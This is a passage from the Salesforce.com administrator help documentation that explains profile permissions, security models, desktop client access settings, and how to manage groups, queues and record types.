Caution: Use care when editing profiles with this method. Because profiles affect a user's fundamental access, making
mass changes may have a widespread effect on users in your organization.

To change permissions in one or more profiles:

1. Select or create a list view that includes the profiles and permissions you want to edit.
2. To edit multiple profiles, select the checkbox next to each profile you want to edit. If you select profiles on multiple pages,
Salesforce.com remembers which profiles are selected.
3. Double-click the permission you want to edit. For multiple profiles, double-click the permission in any of the selected
profiles.
4. In the dialog box that appears, enable or disable the permission. In some cases, changing a permission may also change
other permissions. For example, if “Manage Cases” and “Transfer Cases” are enabled in a profile and you disable “Transfer
Cases,” then “Manage Cases” is also disabled. In this case, the dialog box lists the affected permissions.
5. To change multiple profiles, select All n selected records (where n is the number of profiles you selected).
6. Click Save.

148
User Management Managing Profiles

Note:

• For standard profiles, inline editing is available only for the “Single Sign-On” and “Affected By Divisions”
permissions.
• If you edit multiple profiles, only those profiles that support the permission you are changing will change. For
example, if you use inline editing to add “Modify All Data” to multiple profiles and one profile is a platform profile
(which doesn't have “Modify All Data”) the platform profile won't change.

If any errors occur, an error message appears, listing each profile in error and a description of the error. Click the profile name
to open the profile detail page. The profiles you've clicked appear in the error window in gray, strike-through text.
Note: To view the error console, pop-up blockers must be disabled for the Salesforce.com domain. To check if your
browser allows pop-up windows, click Setup ➤ My Personal Information ➤ Reminders, and then click Preview
Reminder Alert.

To review your changes in the setup audit trail, select Setup ➤ Security Controls ➤ View Setup Audit Trail.

See Also:
Viewing Profile Lists

Key Profile Permissions


Available in: All Editions

Profiles contain administrative permissions and general user permissions, which in turn control what actions a user can take.
There are several permissions that are particularly powerful, and deserve special discussion.
Caution: Permissions are very powerful. They greatly expand access to data. Exercise caution when deciding to enable
these permissions for a profile.

Manage Users
A user with this permission can grant any other permission to themselves and other users. This permission makes a user
a super administrator.

Customize Application
This permission grants a broad range of permissions that allow a user to control all aspects of an application from creating,
editing, and deleting custom fields, to implementing workflow rules. Application developers need this permission, but
you should be aware of the range of operations this permission grants.

Modify All Data


This permission overrides any restrictions on modifying data in all objects. It also circumvents the entire system of
record-based sharing. If you only need to give users the ability to modify all data for a particular object, you can assign
the object-level permission “Modify All.”

149
User Management User Permissions on Profiles

View All Data


This permission overrides any restrictions on viewing data in all objects. It also circumvents the entire system of
record-based sharing. If you only need to give users the ability to view all data for a particular object, you can assign the
object-level permission “View All.”

Edit Read Only Fields


This permission allows users to edit fields marked as read-only by field-level security or by the page layout.

View Encrypted Data


This permission allows users to view data in encrypted fields as plain-text data. For more information about encrypted
fields, see About Encrypted Custom Fields on page 547.

See Also:
Managing Profiles
Creating and Editing Profiles
User Permissions on Profiles

User Permissions on Profiles


The standard profiles available vary according to which Edition you have.

User Permissions Needed


To create, edit, or delete profiles: “Manage Users”
To view profiles: “View Setup and Configuration”

User permissions are divided into the following:

• Administrative Permissions
• General Permissions
• Standard and Custom Object Permissions
• Desktop Integration Client Permissions
• Apex Class Permissions

Administrative Permissions
The following table shows the administrative permissions associated with each standard profile.

Administrative Permissions
Permission Name Functions Controlled Profiles
Affected by Divisions Filter a user’s search results, list views, Administrator
and reports by division. With this
Standard User
permission deselected, a user’s searches,

150
User Management User Permissions on Profiles

Administrative Permissions
Permission Name Functions Controlled Profiles
list views, and reports always show Solution Manager
records in all divisions.
Marketing User
Enterprise, Unlimited, and Developer
Contract Manager
Edition organizations can edit this user
permission on standard and custom
profiles

API Enabled Grants access to the API, Bulk API, and Administrator
Metadata API
API Only User Prevents access to Salesforce.com except None
via the API or Bulk API
Author Apex Can modify and deploy Apex classes and Administrator
triggers, set security on Apex classes, and
create email services
Customize Application Edit messages and custom links; Administrator
Modify standard picklist values;
Create, edit, and delete custom fields;
Create, edit, and delete page layouts (also
requires the “Edit” permission for the
record, for example, “Edit” on accounts);
Set field-level security;
Create, edit, and delete custom links;
Edit the Lead Settings;
Activate big deal alerts;
Create record types;
Set up Web-to-Case and email response
rules;
Set up Web-to-Lead and email response
rules;
Set up assignment and escalation rules;
Set up business hours;
Set up Email-to-Case or On-Demand
Email-to-Case;
Edit Self-Service page layouts and portal
color theme (also requires the “Manage
Self-Service Portal” permission to set up
and maintain Self-Service settings and
delete your organization's Self-Closed
Case Status value);
Set up and enable multilingual solutions;

151
User Management User Permissions on Profiles

Administrative Permissions
Permission Name Functions Controlled Profiles
Set up team selling;
Set up account teams;
Map custom lead fields;
Manage queues;
Create, edit, and delete workflow rules,
tasks, field updates, outbound messages,
and alerts;
Create, edit, and delete custom
s-controls, custom objects, and custom
tabs;
Rename tabs;
Manage custom apps;
Create and edit public calendars and
resources;
Set up the console;
Enable, set up, and modify the
Salesforce.com Customer Portal;
Set up and schedule analytic snapshots
to run;
Create communities for ideas and
Discussions;
Create Visualforce email templates

Edit HTML Templates Create, edit, and delete both custom Administrator
HTML templates and HTML email
Marketing User
templates using letterheads
Edit Read Only Fields Edit fields marked as read-only (by Administrator
field-level security or by the page layout)
for all other users
Manage Analytic Snapshots Set up and schedule analytic snapshots Administrator
to run (also requires the “Schedule
Dashboards”, “Run Reports”, and “View
Setup and Configuration” permissions)
Manage Billing Add user licenses; Administrator
Edit billing and credit card information

Manage Business Hours Holidays Create and edit business hours; create, Administrator
edit, and delete holidays (also requires
“View Setup and Configuration”)

152
User Management User Permissions on Profiles

Administrative Permissions
Permission Name Functions Controlled Profiles
Manage Call Centers Import, view, edit, and delete a call Administrator
center (also requires “View Setup and
Configuration”)
Manage Categories Define and modify data categories and Administrator
solution categories;
Edit Solution Settings to enable solution
browsing
This permission only applies to solution
categories, not data categories

Manage Custom Report Types Create, edit, and delete custom report Administrator
types (also requires “View Setup and
Configuration” to view the organization
Setup pages where custom report types
are managed)
Manage Dashboards Create, edit, and delete dashboards (also Administrator
requires “Modify All Data” to edit a
dashboard created by another user)
Manage Data Categories Create, edit, and delete data categories Administrator
This permission only applies to data
categories, not solution categories

Manage Data Integrations Monitor Bulk API jobs Administrator


Manage Letterheads Create, edit, and delete letterheads for Administrator
HTML emails
Marketing User

Manage Mobile Configurations Edit the Mobile User checkbox on a Administrator


user's personal information. Enabling the
Mobile User checkbox allocates one
Salesforce Mobile license to the user,
granting the user access to Salesforce
Mobile capabilities.
Manage Package Licenses Grant or revoke user licenses for an Administrator
installed app in a managed package
Manage Partners Create partner accounts and partner Administrator
users;
Disable partner accounts and partner
users;
Merge partner users (also requires
“Delete” on contacts)

Manage Public Documents Create, update, and delete public Administrator


document folders
Marketing User

153
User Management User Permissions on Profiles

Administrative Permissions
Permission Name Functions Controlled Profiles
Manage Public List Views Create, edit, and delete public list views Administrator
Manage Public Reports Create, edit, and delete public reports; Administrator
Customize the Reports tab

Manage Public Templates Create, edit, and delete text email and Administrator
mail merge templates;
Marketing User
Edit public folders for email templates
and store email templates in folders

Manage Synonyms Create, edit, and delete synonym groups Administrator


Manage Salesforce CRM Content Create, edit, and delete workspaces; Administrator
Edit workspace membership

Manage Salesforce Knowledge Enable Salesforce Knowledge Administrator


Create, edit, and delete article types
Edit settings

Manage Translation Add supported languages and translators; Administrator


Enter translated values for any supported
language;
Translate solution categories

Manage Users Create, edit, and deactivate users; Administrator


Define and assign user roles;
Define sharing model and sharing rules;
View storage use;
View login history;
View training history;
Manage and assign profiles;
Assign page layouts to profiles;
Set password policies;
Activate or deactivate opportunity update
reminders;
Set login restrictions

Modify All Data Create, edit, and delete all data; Administrator
Import accounts and contacts for
organization;
Mass update addresses (also requires
“Activate Contract” and “Activate Order”

154
User Management User Permissions on Profiles

Administrative Permissions
Permission Name Functions Controlled Profiles
to update the addresses of contracts and
orders);
Mass delete data;
Undelete other users’ data;
Create and edit divisions, and transfer
divisions for multiple records
Create an organization-wide email
address

Password Never Expires Prevent password from ever expiring None


Schedule Dashboards Schedule when dashboards refresh and Administrator
send email notifications to users that
include refreshed dashboards in HTML
format
Schedule Reports Schedule reports to run and have the Administrator
results automatically emailed in HTML
format to Salesforce.com users
Send Outbound Messages Allows you to send outbound messages, Administrator
such as when you close an opportunity
Standard User
and need to send an outbound API
message to another server to generate an Solution Manager
order. For more information, see “Setting
Marketing User
Up Outbound Messaging” in the
Force.com Web Services API Read Only
Developer's Guide.
Contract Manager
Standard Platform User
Standard Platform One App User

Tag Manager Rename, delete, or restore public tags Administrator


(available only when public tags are
enabled)
Transfer Record Transfer ownership of one or more Administrator
accounts, campaigns, cases, contacts,
contracts, leads, and custom objects that
are owned by another user.
To transfer records owned by another
user, you must also have at least the
“Edit” object permission and access to
view the records.

Use Team Reassignment Wizards Mass reassign account team and Administrator
opportunity team members
View All Data View all data owned by other users Administrator

155
User Management User Permissions on Profiles

Administrative Permissions
Permission Name Functions Controlled Profiles
View Data Categories View the Setup ➤ Customize ➤ Data Administrator
Categories page
This permission only applies to data
categories, not solution categories

View Encrypted Data View the value of encrypted fields in None


plain text
View Setup and Configuration View the organization setup details on Administrator
the Setup pages;
Standard User
Run user reports;
Solution Manager
View the setup audit trail;
Marketing User
Check field accessibility for users
Read Only
Contract Manager

Weekly Data Export Run the weekly data export service Administrator

General Permissions
The following table shows the general permissions associated with each standard profile.

General User Permissions


Permission Name Functions Controlled Profiles
Activate Contracts Change contract status to Activate; Administrator
Create, edit and delete contracts Contract Manager

Approve Contracts Apply an approved status to a contract Administrator


Contract Manager

Convert Leads Convert leads into accounts, contacts, Administrator


and opportunities
Standard User
Solution Manager
Marketing User
Contract Manager

Create and Customize Reports View the Reports tab; Administrator


Run, create, edit, save, and delete reports; Standard User
View dashboards based on reports Solution Manager
Marketing User
Read Only
Contract Manager

156
User Management User Permissions on Profiles

General User Permissions


Permission Name Functions Controlled Profiles
Create AppExchange packages Create AppExchange packages Administrator
Create Workspaces Create Salesforce CRM Content Administrator
workspaces
Delete Activated Contracts Delete contracts regardless of status; Administrator
Activate, create, and edit contracts

Deliver Content from Personal Enables Salesforce CRM Content users Administrator,
Workspace to create content deliveries using
Standard User
documents in their personal workspaces
Solution Manager
Marketing User
Read Only
Contract Manager

Deliver Uploaded Files and Personal Enables non-Content users to create Administrator
Content content deliveries and enablesSalesforce
Standard User
CRM Content users to create content
deliveries using documents in their Solution Manager
personal workspaces. Note that Salesforce
Marketing User
CRM Content users do not need this
perm to create content deliveries in Read Only
shared workspaces.
Contract Manager

Download AppExchange packages Install or uninstall AppExchange Administrator


packages from the AppExchange
Edit Articles Created, edit, assign, and archive None
Salesforce Knowledge articles
This permission provides full access to
the Article Management tab

Edit Case Comments Enables users to edit and delete case None
comments that they have added to cases
(also requires “Edit” on cases)
Edit Events Create, edit, and delete events Administrator
Standard User
Solution Manager
Marketing User
Contract Manager

Edit Forecasts Create, edit, and delete forecasts. Administrator


This permission is not available for Standard User
customizable forecasts. When you
Solution Manager
convert to customizable forecasts, custom

157
User Management User Permissions on Profiles

General User Permissions


Permission Name Functions Controlled Profiles
profiles that have the “Edit Forecasts” Marketing User
permission get the “Edit Personal Quota”
Contract Manager
and “Override Forecasts” permissions.

Edit Opportunity Product Sales Prices Enable users to change the sales price on Administrator
products
Standard User
Solution Manager
Marketing User
Contract Manager

Edit Personal Quota Change your individual quota (available Administrator


only for customizable forecasts)
Standard User
Solution Manager
Marketing User
Contract Manager

Edit Self-Service Users For the Self-Service portal: enable and Administrator
deactivate contacts;
Standard User
For the Salesforce.com Customer Portal:
Solution Manager
enable, disable, and deactivate contacts;
disable accounts; merge Customer Portal Marketing User
users (also requires “Delete” on contacts)
Contract Manager

Edit Tasks Create, edit, and delete tasks Administrator


Standard User
Solution Manager
Marketing User
Contract Manager

Export Reports Use Export Details and Printable View Administrator


to export reports
Standard User
Solution Manager
Marketing User
Contract Manager

Import Leads Import leads and update campaign Administrator


history using import wizards
Marketing User

Import Personal Contacts Import personal accounts and contacts Administrator


Standard User

158
User Management User Permissions on Profiles

General User Permissions


Permission Name Functions Controlled Profiles
Solution Manager
Marketing User
Contract Manager

Import Solutions Import solutions for the organization Administrator


Solution Manager

Manage Cases Modify support settings


Administrator
Close multiple cases

Manage Content Permissions Create, edit, and delete workspace Administrator


permissions in Salesforce CRM Content
Manage Content Properties Create, edit, and delete custom fields in Administrator
Salesforce CRM Content
Manage Content Types Create, edit, and delete content types in Administrator
Salesforce CRM Content
Manage Leads Change Status of multiple leads in a Administrator
list view
Manage Published Solutions Create, edit, and delete solutions that are Administrator
accessible to the public on your
Solution Manager
Self-Service portal or website;
Categorize solutions

Manage Self-Service Portal Set up and maintain Self-Service settings Administrator


(also requires the “Customize
Application” permission to modify
Self-Service page layouts and delete your
organization's Self-Closed Case Status
value);
Run Self-Service reports

Manage Territories Create and edit territories; Administrator


Add and remove users from territories;
Create and edit account assignment rules;
Manually assign accounts to territories;
Configure organization-wide territory
management settings

Mass Email Send bulk emails to contacts and leads Administrator


Standard User
Solution Manager
Marketing User

159
User Management User Permissions on Profiles

General User Permissions


Permission Name Functions Controlled Profiles
Contract Manager

Mass Edit from Lists Allow users to edit two or more records Administrator
simultaneously from a list with inline
Standard User
editing
Solution Manager
Marketing User
Contract Manager,
Standard Platform User
Standard Platform One App User

Override Forecasts Override your own forecast as well as Administrator


forecasts for users that report directly to
Standard User
you in the role hierarchy (available only
for customizable forecasts) Solution Manager
Marketing User
Contract Manager

Products show in Offline Specify if products and pricebooks are Administrator


available in Connect Offline
Standard User
Solution Manager
Marketing User
Read Only
Contract Manager

Run Reports View the Reports tab; Administrator


Run reports; Standard User
View dashboards based on reports Solution Manager
Marketing User
Read Only
Contract Manager

Send Email Send email to a single contact or lead; Administrator


Send Stay-in-Touch update emails Standard User
Solution Manager
Marketing User
Contract Manager

Send Stay-in-Touch Requests Send Stay-in-Touch email requests Administrator


Standard User

160
User Management User Permissions on Profiles

General User Permissions


Permission Name Functions Controlled Profiles
Solution Manager
Marketing User
Contract Manager

Show Custom Sidebar On All Pages If you have custom home page layouts None
that include components in the sidebar,
displays your custom sidebar on all pages
in Salesforce.com. If the Show Custom
Sidebar Components on All
Pages user interface setting is selected,
the “Show Customer Sidebar On All
Pages” permission is not available.
Transfer Cases Transfer one or more cases that are Administrator
owned by another user, if you also have
at least the “Edit” object permission and
access to view the records
Transfer Leads Transfer one or more leads that are Administrator
owned by another user, if you also have
at least the “Edit” object permission and
access to view the records
Upload AppExchange packages Upload AppExchange packages to Administrator
AppExchange;
Create test drives

Uses Single Sign-On Username and password authentication None


is delegated to a corporate database such
as Active Directory® or LDAP, instead
of the Salesforce.com user database. For
more information about Single Sign-On,
see About Single Sign-On on page 223.
View All Forecasts View any user’s forecast regardless of the Administrator
forecast role hierarchy.
This permission is only available for
customizable forecasts. When you
convert to customizable forecasts, custom
profiles that have the “View All Data”
permission get the “View All Forecasts”
permissions.

View Articles Read articles in Salesforce Knowledge Administrator


This permission provides full access to Standard User
the Articles tab
Solution Manager
Marketing User
Contract Manager

161
User Management User Permissions on Profiles

Standard and Custom Object Permissions


For each type of data, you can specify the following user permissions. These permissions either respect the sharing model, or
override sharing:
Object-Level Permissions that Respect Sharing

• Read—users can only view records of this type


• Create—users can read and create records
• Edit—users can read and update records
• Delete—users can read, edit, and delete records
Note: By default, most standard profiles have “Create,” “Read,” “Edit,” and “Delete” permissions on every custom
object. However, the Read Only standard profile has only the “Read” permission enabled on every custom object.

Object-Level Permissions that Override Sharing for Delegated Data Administration

• View All—users can view all records associated with this object, regardless of sharing settings
• Modify All—users can read, edit, delete, transfer, and approve all records associated with this object, regardless of
sharing settings
“Modify All” on documents allows access to all shared and public folders, but not the ability to edit folder properties or
create new folders. To edit folder properties and create new folders, users must have the “Manage Public Documents”
permission.
“View All” and “Modify All” are not available for ideas, price books, and products.

The “View All” and “Modify All” permissions ignore sharing rules and settings, allowing administrators to quickly grant access
to records associated with a given object across the organization. “View All” and “Modify All” are for delegated administrators
who are responsible for managing the records belonging to a given object, while the global permissions “View All Data” and
“Modify All Data” are for the administrator of your entire organization. Tasks where these permissions may be applicable
include data cleansing, deduplication, mass deletion, mass transferring, and managing record approvals. If providing the “View
All Data” or “Modify All Data” administrative permission is too permissive for a particular profile, consider using the “View
All” or “Modify All” object-level permission to restrict data access and management on an object basis. For more information,
see Comparing Security Models on page 163.
Note: The “View All” and “Modify All” permissions allow for delegation of object permissions only. To delegate
some user administration and custom object administration duties, you can define delegated administrators.

If your organization has deployed Salesforce Mobile, you can edit the mobile object properties to prevent mobile users from
creating, editing, and deleting records in the mobile application, regardless of their standard object permissions in Salesforce.com.

Desktop Integration Client Permissions


Connect for Outlook, Connect Offline, Connect for Office, and Connect for Lotus Notes are desktop clients that integrate
Salesforce.com with your PC. As an administrator, you can control which desktop clients your users can access as well as
whether users are automatically notified when updates are available.
For more information, see Setting User Permissions for Desktop Clients on page 164.

162
User Management User Permissions on Profiles

Apex Class Permissions


In Unlimited, Enterprise, and Developer Edition organizations, users can use profiles to control which users can execute
methods in a particular top-level Apex class.

See Also:
Managing Profiles
Creating and Editing Profiles
Standard Profiles
Viewing User License Types

Comparing Security Models


Available in: Enterprise, Unlimited, and Developer Editions

Salesforce.com user security is an intersection of both sharing and profile permissions. In some cases, such as in end-user
record level access, it is advantageous to use sharing to provide access to records. In other cases, such as when delegating record
administration tasks like transferring records, cleansing data, deduplicating records, mass deleting records, and delegating
workflow approval processes, it is advantageous to override sharing and use profiles to provide access to records.
In profile permissions for standard and custom objects, the “Read,” “Create,” “Edit,” and “Delete” permissions respect sharing
settings, which control access to data at the record level. The “View All” and “Modify All” permissions override sharing settings
for specific objects. Additionally, the “View All Data” and “Modify All Data” administrative permissions override sharing
settings for all objects.
The following table describes the differences between the security models.

Permissions that Respect Sharing Permissions that Override Sharing


Target audience End-users Delegated data administrators
Where managed “Read,” “Create,” “Edit,” and “Delete” “View All” and “Modify All”
object-level permissions on profiles;
Sharing settings

Record access levels Private, Read-Only, Read/Write, “View All” and “Modify All”
Read/Write/Transfer/Full Access
Ability to transfer Respects sharing settings, which vary by Available on all objects with “Modify All”
object
Ability to approve records, or edit and None Available on all objects with “Modify All”
unlock records in an approval process
Ability to report on all records Available with a sharing rule that states: Available on all objects with “View All”
the records owned by the public group
“Entire Organization” are shared with a
specified group, with Read-Only access

163
User Management User Permissions on Profiles

Permissions that Respect Sharing Permissions that Override Sharing


Object support Available on all objects except products, Available on most objects in the Standard
documents, solutions, ideas, notes, and Object Permissions and Custom Object
attachments Permissions sections of Profiles
Note: “View All” and “Modify
All” are not available for ideas,
price books, and products.

Group access levels determined by Roles, Roles and Subordinates, Internal Profile
Roles and Subordinates, Queues, Teams,
and Public Groups
Private record access Not available Available on private contacts,
opportunities, and notes and attachments
with “View All” and “Modify All”
Ability to manually share records Available to the record owner and any Available on all objects with “Modify All”
user above the record owner in the role
hierarchy
Ability to manage all case comments Not available Available with “Modify All” on cases

See Also:
User Permissions on Profiles
Managing Profiles

Setting User Permissions for Desktop Clients


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set user permissions for desktop clients: “Manage Users”

Connect for Outlook, Connect Offline, Connect for Office, and Connect for Lotus Notes are desktop clients that integrate
Salesforce.com with your PC. As an administrator, you can control which desktop clients your users can access as well as
whether users are automatically notified when updates are available.
In Enterprise, Unlimited, and Developer Editions, use the following procedure to set your users' desktop client permissions.
Note that Connect Offline is the only client available with Developer Edition. In Personal, Group, and Professional Editions,
all users have the system default “On, updates w/o alerts” for all clients.

1. In Salesforce.com, navigate to Setup ➤ Manage Users ➤ Profiles.

164
User Management User Permissions on Profiles

2. Click Edit next to a profile name.


3. Go to the Desktop Integration Clients section at the bottom of the page.
4. For each desktop client, choose one of the following options:

Option Meaning
Off (access denied) The respective client download page at Setup ➤ Desktop
Integration is hidden. Also, users cannot log in from the
client.
On, no updates The respective client download page at Setup ➤ Desktop
Integration is hidden. Users can log in from the client but
are not allowed to upgrade it from their current version.
On, updates w/o alerts Users can download, log in from, and upgrade the client,
but do not see alerts when a new version is made available.
On, updates w/alerts Users can download, log in from, and upgrade the client.
They will see update alerts, which they can choose to follow
or ignore.
On, must update w/alerts Users can download, log in from, and upgrade the client.
When a new version is available, they will see an update
alert. They will not be able to log in from the client until
they have upgraded it.

Note: If users in your organization have a Connect for Outlook version earlier than 2.0 (such as version 115), and
their profile setting is “Off (access denied)” or “On, must update w/alerts,” the error Invalid Salesforce.com
API request may occur when they attempt to log in to Connect for Outlook. Users with Connect for Outlook
2.0 or later will see an appropriate descriptive message.

5. Click Save.

If a user is allowed to see alerts, under the condition that he or she has logged in to Salesforce.com from the client in the past,
an alert banner will automatically appear across the Home tab when a new version is available. Clicking the banner opens the
Check for Updates page, where users can download and run installer files. Note that the Check for Updates page is always
available from the Desktop Integration menu in setup, regardless of whether an alert has occurred.

See Also:
Administrator tip sheet: Administering Salesforce Desktop Clients
Force.com Connect for Microsoft Outlook® Overview
Force.com Connect Offline Overview
Force.com Connect for Microsoft Office® Overview
Force.com Connect for Lotus Notes Overview

165
User Management Managing Groups

Managing Groups
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Groups are sets of users. They can contain individual users, other groups, the users in a particular role or territory, and/or the
users in a particular role or territory plus all of the users below that role or territory in the hierarchy.
There are two types of groups:

• Public Groups—Only administrators can create public groups. They can be used by everyone in the organization.
• Personal Groups—Each user can create groups for their personal use.

You can use groups in the following ways:

• To set up default sharing access via a sharing rule


• To share your accounts with other users
• To share your opportunities with other users (Enterprise, Unlimited, and Developer Editions only)
• To specify that you want to synchronize contacts owned by others users
• To add multiple users to a Salesforce CRM Content workspace

See Also:
Creating and Editing Groups
Viewing All Users in a Group
Managing the Sharing Settings
Setting Your Organization-Wide Default Sharing Model
Setting Sharing Rules
Setting Your Sync Profile

Creating and Editing Groups


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit a public group: “Manage Users”

To create a new group:

1. To create a personal group, click Setup ➤ My Personal Information ➤ My Groups.


To create a public group, click Setup ➤ Manage Users ➤ Public Groups.

166
User Management Managing Groups

Note: Only administrators can create public groups, but anyone can create a personal group.

2. Click New in the Groups related list.


3. Enter a group name.
4. From the Search drop-down list, select the type of member to add.
Your choices are:

Member Type Description


Customer Portal Users All of your Salesforce.com Customer Portal users. Only
available when a Customer Portal is enabled for your
organization.
Partner Users All of your partner users. Only available when a PRM portal
is enabled for your organization.
Personal Groups All of your own groups. Only available when creating other
personal groups.
Public Groups All public groups defined by your administrator.
Users All users in your organization.
Roles All roles defined for your organization. Adding a role to a
group includes all of the users in that role.
Portal Roles All roles defined for your organization's PRM portal, partner
portal, or Salesforce.com Customer Portal. This includes all
of the users in the specified portal role, except for
high-volume Customer Portal users because they don't have
roles. Note that the name of a portal role includes the name
of the account with which it is associated, except for person
accounts, which include the user Alias. See User Fields on
page 52.
Roles and Subordinates Adding a role and its subordinate roles includes all of the
users in that role plus all of the users in roles below that role.
Portal Roles and Subordinates All roles defined for your organization's PRM portal, partner
portal, or Customer Portal. This includes all of the users in
the specified portal role plus all of the users below that role
in the portal role hierarchy, except for high-volume
Customer Portal users because they don't have roles. Note
that the name of a portal role includes the name of the
account with which it is associated, except for person
accounts, which include the user Alias. See User Fields on
page 52.

167
User Management Managing Groups

Note: For account owners to see child records owned by portal users, they must be members of any groups with
access to the portal users' data.

5. If you don't see the member you want to add, enter keywords in the search box and click Find.
6. Select members from the Available Members box, and click Add to add them to the group.
7. Click Save.

To modify a group, click Edit next to the group name in the Groups related list. Similarly, click Del next to the group you
want to delete.

See Also:
Managing Groups
Viewing All Users in a Group
Managing Customer Portal Users
Working with Partner Users

Viewing and Editing Groups


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit a public group: “Manage Users”

To view or edit personal or public groups:

1. For personal groups, click Setup ➤ My Personal Information ➤ My Groups.


For public groups, click Setup ➤ Manage Users ➤ Public Groups.
2. Public groups only: To show a filtered list of items, select a predefined list from the View drop-down list, or click Create
New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list
and click Edit.
3. Click the name of a group in the Groups related list to display the group's detail page.

• To edit the group membership, click Edit.


• To delete the group, click Delete.
• To view group members, see the Group Members related list.
• To view group members and users who have equivalent access because they are higher in the role or territory hierarchy,
click View All Users to display the All Users in Group related list. Click View Group Members to return to the Group
Members related list.

168
User Management Managing Groups

Viewing All Users in a Group


Available in: Professional, Enterprise, Unlimited, and Developer Editions

The All Users list shows users who belong to the selected personal or public group, queue, or role or territory sharing group.
From this page, you can view detailed user information, edit user information, and access related information.

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Edit next to a user name to edit the user information.
• Click Login next to a user name to log in as that user. This link is only available if the user has granted you login access.

See Also:
Managing Groups
Creating and Editing Groups

Viewing Group or Queue Members Lists


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view group and queue members: “View Setup and Configuration”

The members list page displays a list of groups, roles, territories, and users that are members of the selected group or queue.
From this page, you can view detailed member information and access other related information.

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view.
• Click a name to view the member details.

See Also:
Managing Groups
Viewing All Users in a Group

169
User Management Managing Queues

Managing Queues
Queues available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change queues: “Customize Application”
AND
“Manage Public List Views”

To create or change queues created by other users: “Customize Application”


AND
“Manage Public List Views”
AND
“Manage Users”

Create queues to help your teams manage leads, cases, and custom objects. Once records are placed in a queue either manually
or through an automatic case- or lead-assignment rule, records remain there until they are assigned to a user or taken by one
of the members of the queue. Any queue member or users above them in the role hierarchy can take ownership of records in
a queue. For example:
Lead queues
Help your organization manage the distribution of leads. For example, you might have a lead queue for your Western
Region team and one for your Eastern Region team. You can put leads in different queues, either manually or automatically
via a lead assignment rule as leads are imported, created or edited manually, or captured from the web. Each salesperson
should be a member of one or more lead queues.

Case queues
Help your organization manage your support workload and differentiate cases based on levels of support. By using queues,
you can ensure that cases are resolved quickly even if an individual user is on vacation. By creating queues for different
levels of support, for example, Gold Service Level and Silver Service Level, cases are automatically prioritized. You can
put cases in different queues, either manually or automatically via a case assignment rule as cases are generated from the
web or created manually. Each support representative should be a member of one or more case queues.

Custom object queues


Help your organization manage the distribution of custom object records. When a custom object record is created,
manually assign it to a queue so that the users who are assigned to the queue can access it and take ownership of it as
appropriate.

To view and manage queues, click Setup ➤ Manage Users ➤ Queues.

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• To create a queue, click New.

170
User Management Managing Queues

• To edit a queue, click Edit next to the queue name.


• To delete a queue, click Del next to the queue name.
• To view detailed information about a queue, including a list of the queue's members, click the queue name.

See Also:
Viewing and Editing Queues
Setting Up Customer Support
Assigning Cases
Viewing Case Lists
Assigning Leads
Viewing Lead Lists

Setting Up Queues
Queues available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change queues: “Customize Application”
AND
“Manage Public List Views”

To create or change queues created by other users: “Customize Application”


AND
“Manage Public List Views”
AND
“Manage Users”

To set up your queues for leads, cases, or custom objects:

1. Click Setup ➤ Manage Users ➤ Queues.


2. Click New to create a queue, or click Edit to modify an existing queue.
Note: You can also access this page by clicking Edit in a queue's detail page.

3. Enter a name for the queue.


4. Specify an email address to which all notification emails will be sent (for example, when a new record is put in the queue).
This can be an individual user or a distribution list set up via your organization’s email system.
5. Select Send Email to Members to individually notify all queue members and the specified Queue Email address
when new records are placed in the queue. If this checkbox is not selected, only the Queue Email address is notified.

171
User Management Managing Queues

Note: If a Queue Email address is not specified, individual queue members are always notified of new records,
regardless of this checkbox setting.

6. If your organization uses divisions, select the default division for the queue. This determines the division for a record when
it is assigned to the queue via assignment rules or a manual change of ownership.
Note that cases inherit the division of the contact to which they are related, or are assigned to the default global division
if no contact is specified.
7. Specify which objects can be placed in the queue. Your choices can include cases, leads, or any custom objects.
8. Specify which users, roles, public groups, territories, connections, or partner users will be members of the queue.
Only queue members and users above them in the role hierarchy can take ownership of records in that queue, depending
on your sharing settings.
9. Click Save.

Note: When you create a queue, Salesforce.com automatically creates a corresponding list view. Users can access the
queue list view from the Cases, Leads, or custom object tabs.
Only queue members and users above them in the role hierarchy have access to that queue list view, depending on
your sharing settings.

Once you have defined a queue, you can set up lead or case assignment rules to automatically reassign ownership of leads and
cases to the queue.
For queues that include custom objects, you can accomplish the same thing by setting up a workflow rule that reassigns
ownership of custom object records to a queue with a field update on the record owner field.

See Also:
Viewing and Editing Queues
Managing Queues

172
User Management Managing Queues

Viewing and Editing Queues


Queues available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change queues: “Customize Application”
AND
“Manage Public List Views”

To create or change queues created by other users: “Customize Application”


AND
“Manage Public List Views”
AND
“Manage Users”

To view detailed information about a queue, click Setup ➤ Manage Users ➤ Queues, and click the queue name.
Click Edit to make changes to the queue, or click Delete to remove the queue.
Note: You cannot delete a queue if it is used by an assignment rule or has any records in it.

The Queue Members related list shows all of the members of the queue. Click View All Users to view the All Users in Queue
related list, which shows you all of the queue members plus any users who have the same access as the queue members because
they are higher in the role hierarchy. From the All Users in Queue related list, you can click View Queue Members to return
to the Queue Members related list.
Note: Users that gain access to data due to their position in hierarchies do so based on a setting in your
organization-wide defaults.

See Also:
Managing Queues

173
User Management Assigning Record Types to Profiles

Assigning Record Types to Profiles


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To assign record types to profiles: “Customize Application”

After creating record types and including picklist values in them, add record types to user profiles and assign a default record
type for each profile. When you add a record type to a profile, users with that profile can assign that record type to records
they create or edit. Note that any user can view records having any record type, even if the record type is not associated with
their profile.
A profile can be associated with several record types. For example, a user who creates opportunities for both hardware and
software sales can have both “Hardware” and “Software” record types available when creating opportunities if both record
types have been added to the user’s profile.

